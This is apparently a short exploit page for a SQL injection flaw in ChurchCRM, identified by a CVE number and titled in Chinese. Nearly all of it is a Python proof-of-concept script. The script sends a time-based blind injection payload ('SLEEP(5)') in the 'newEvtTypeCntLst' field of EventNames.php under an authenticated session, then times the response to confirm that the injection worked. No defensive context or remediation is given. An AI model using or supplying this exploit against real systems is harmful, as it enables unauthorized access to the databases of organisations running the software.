CVE-2026-39329 ChurchCRM SQL注入漏洞

import requests # Target URL url = "http://target-churchcrm/EventNames.php" # Attacker credentials with AddEvent privileges session = requests.Session() login_payload = { "User": "attacker", "Password": "password" } # Perform login (pseudo-code) # session.post("http://target-churchcrm/login", data=login_payload) # Malicious payload to inject into 'newEvtTypeCntLst' # Using time-based blind injection technique sql_payload = "Test', (SELECT SLEEP(5)))-- " # Data to be sent in the POST request post_data = { "newEvtTypeCntLst": sql_payload } # Send exploit request response = session.post(url, data=post_data) # Check if the injection caused a delay (Time-based) if response.elapsed.total_seconds() > 5: print("[+] SQL Injection successful!") else: print("[-] Injection failed or patch applied.")